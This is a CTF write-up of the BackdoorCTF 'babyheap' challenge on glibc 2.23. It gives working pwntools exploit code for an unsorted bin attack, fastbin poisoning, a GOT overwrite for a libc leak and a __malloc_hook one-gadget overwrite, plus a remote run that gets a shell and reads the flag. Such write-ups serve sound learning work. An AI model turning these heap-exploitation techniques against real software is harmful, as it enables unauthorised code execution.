I played this CTF with 0x1 and got 9th place.
This was a Glibc 2.23 challenge with global_max_fast
set to 0x10, meaning we have no access to the fastbin.
TL;DR:
- Free a chunk into the unsorted bin
- One byte brute force to overwrite the
bk
pointer of the free unsorted bin chunk to&global_max_fast - 0x10
- Launch an unsorted bin attack to overwrite
global_max_fast
with the unsorted bin’s address, giving us access to the fastbin. - Fastbin dup to get a chunk above the global array of chunks.
- Overwrite index 0 of the global array of chunks to point to
free@got
. - Overwrite
free@got
withprintf@plt
. - Edit the chunk above the global array of chunks and set index 0 to point to
puts@got
. - Call
free
on index 0 to getputs
libc leak. - Fastbin dup attack to overwrite
__malloc_hook
to one gadget and get shell.
Challenge
Points: 286
Just another babyheap challenge.
http://backdoor.static.beast.sdslabs.co/static/babyheap/babyheap
http://backdoor.static.beast.sdslabs.co/static/babyheap/libc.so.6
nc 51.158.118.84 17001
Flag format: CTF{…}
Created by: Nipun Gupta
No. of Correct Submissions: 12
Solution
This challenge was very interesting. I’ve read writeups of similar challenges before but never done a challenge of this type, so this was a good learning experience for me.
Reverse Engineering
Running the binary shows us this:
----------DATA BANK----------
1) Add data
2) Edit data
3) Remove data
4) Exit
>>
It looks very similar to babytcache, but without the ability to view data. It is also GLIBC 2.23. It also does not have PIE or Full RELRO enabled:
vagrant@ubuntu1604:/ctf/practice/backdoorctf/babyheap$ checksec babyheap
[*] '/ctf/practice/backdoorctf/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Looking at the binary now, the main function right at the beginning does the following:
mallopt(1, 0);
If you look at the manpage of mallopt
, you will see that this means that the binary is disabling the fastbin by setting global_max_fast
to a value of 0x10. Since chunks must have a minimum size of 0x20 (with the metadata), the fastbin is impossible to use like this.
As for vulnerabilities, it is the exact same as babytcache except some constraints, so I will skip showing my interpretation of the pseudocode for each function.
- The add function lets you add up to 12 chunks max throughout the process’s lifetime.
- The free function has a UAF. It also has a free limit of 8 frees.
Steps to solve
First, we must overwrite global_max_fast
with some value that is not 0x10, so we can use the fastbins again. Since there is no easy way to get a leak, it will be almost impossible to launch a small bin unsafe unlink attack to overwrite anything useful.
Since we don’t have a leak, the overwriting of global_max_fast
required bruteforcing a single byte. If you add two chunks of size 0x30 and free the first one, you can compare the address of global_max_fast
vs the address of the unsorted bin and see the following:
pwndbg> unsortedbin
unsortedbin
all: 0x1c25000 —▸ 0x7f2e38f3bb78 (main_arena+88) ◂— 0x1c25000
pwndbg> p &global_max_fast
$1 = (size_t *) 0x7f2e38f3d7f8 <global_max_fast>
You will notice that the least significant byte of global_max_fast
is always 0xf8
, and the second least significant byte will constantly change. Everything else will be the same.
We can brute force the second byte and have a 1/8 chance of getting the address of global_max_fast
.
I decided to launch an unsorted bin attack to overwrite global_max_fast
with the address of the unsorted bin. If you are unfamiliar with the unsorted bin attack, you may refer to this.
Essentially, I chose a chunk of size 0x30 to perform the unsorted bin attack on. Since it will corrupt the unsorted bin, it will mean we can’t malloc any chunks <= 0x30 in size anymore, which is fine for us.
Here is how the 1 byte bruteforce works:
while True:
p = start()
add(0, 0x30, 'A'*0x30) # Used for unsorted bin attack
add(1, 0x68, 'B'*0x68) # Used for fastbin dup
free(0) # Send chunk A to the unsorted bin
# Overwrite A's bk with bruteforced &global_max_fast - 0x10
edit(0, '\x00'*8 + p16(0x27e8))
try:
# Launch the unsorted bin attack
add(2, 0x30, 'C'*0x30)
# If the unsorted bin attack successfully overwrote global_max_fast,
# Then we can do a fastbin poisoning attack to get a chunk right above the
# global data array
#
# If we successfully get the chunk there, overwrite idx 0 with free@got
free(1)
edit(1, p64(0x6020cd-0x10))
add(3, 0x68, 'Z'*8)
add(4, 0x68, 'Z'*0x53 + p64(free_got))
if args.GDB:
debug([])
break
except:
# If it didn't work, close the process and try again
p.close()
continue
Initially we free the 0x30 chunk into the unsorted bin and overwrite the last byte with 0xe8, and the second last byte with one of the many valid bytes I found &global_max_fast
had with gdb. Then, within a try-except block, we launch the unsorted bin attack and then immediately try to do the fastbin poisoning attack. If the unsorted bin attack succeeded, then the fastbin attack will work, otherwise it will go to the except block and restart.
Should the fastbin attack succeed, we pick this memory address because it looks like a valid chunk header for a 0x68 sized chunk:
pwndbg> x/4gx 0x6020cd-0x10
0x6020bd: 0xfff7dd2540000000 0x000000000000007f
0x6020cd: 0x0000000000000000 0x0000000000000000
We then simply write enough bytes until we reach the global data array and overwrite index 0 to the address of free@got
.
If all of this succeeds, we will be out of the while loop now. My plan was to overwrite free
with printf
and use that to leak a libc address. Before I do that though, I free another 0x68 sized chunk into the fastbin to prepare for the second fastbin poisoning attack. I then overwrite free@got
with the address of printf@plt
, and change index 0 to point to puts@got
and attempt to free index 0. This will cause printf to be called with the address stored in index 0, which is actually puts@got
, giving us a leak:
free(3) # Prep for next fastbin poisoning attack
edit(0, p64(printf)) # Overwrite free with printf
edit(4, 'Z'*0x53 + p64(0x602020)) # Change idx 0 to puts@got
free(0) # printf(puts@got)
libc.address = u64(p.recv(6).ljust(8, '\x00')) - libc.sym['puts']
log.info('Libc base: ' + hex(libc.address))
Finally, we do the classic fastbin poisoning attack to get a chunk at __malloc_hook-0x30+0xd
and overwrite __malloc_hook
with a working one gadget and get a shell:
edit(3, p64(libc.sym['__malloc_hook']-0x30+0xd))
add(5, 0x68, 'Z'*8)
add(6, 0x68, 'B'*0x13 + p64(libc.address+0xf1147))
p.sendlineafter('>> ', '1')
p.sendlineafter(':\n', '8')
p.sendlineafter(':\n', '104')
p.interactive()
It took quite a bit of time to work remotely due to the brute force, so I just cut out the brute force bit.
vagrant@ubuntu1604:/ctf/practice/backdoorctf/babyheap$ ./exploit.py REMOTE
[*] '/ctf/practice/backdoorctf/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/ctf/practice/backdoorctf/babyheap/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
REMOTE PROCESS
[+] Opening connection to 51.158.118.84 on port 17001: Done
[*] Libc base: 0x7f9e95bcc000
[*] Switching to interactive mode
$ ls
Dockerfile
babyheap
babyheap.c
beast.toml
flag.txt
post-build.sh
public
setup.sh
$ cat flag.txt
CTF{REDACTEDREDACTEDREDACTED}
$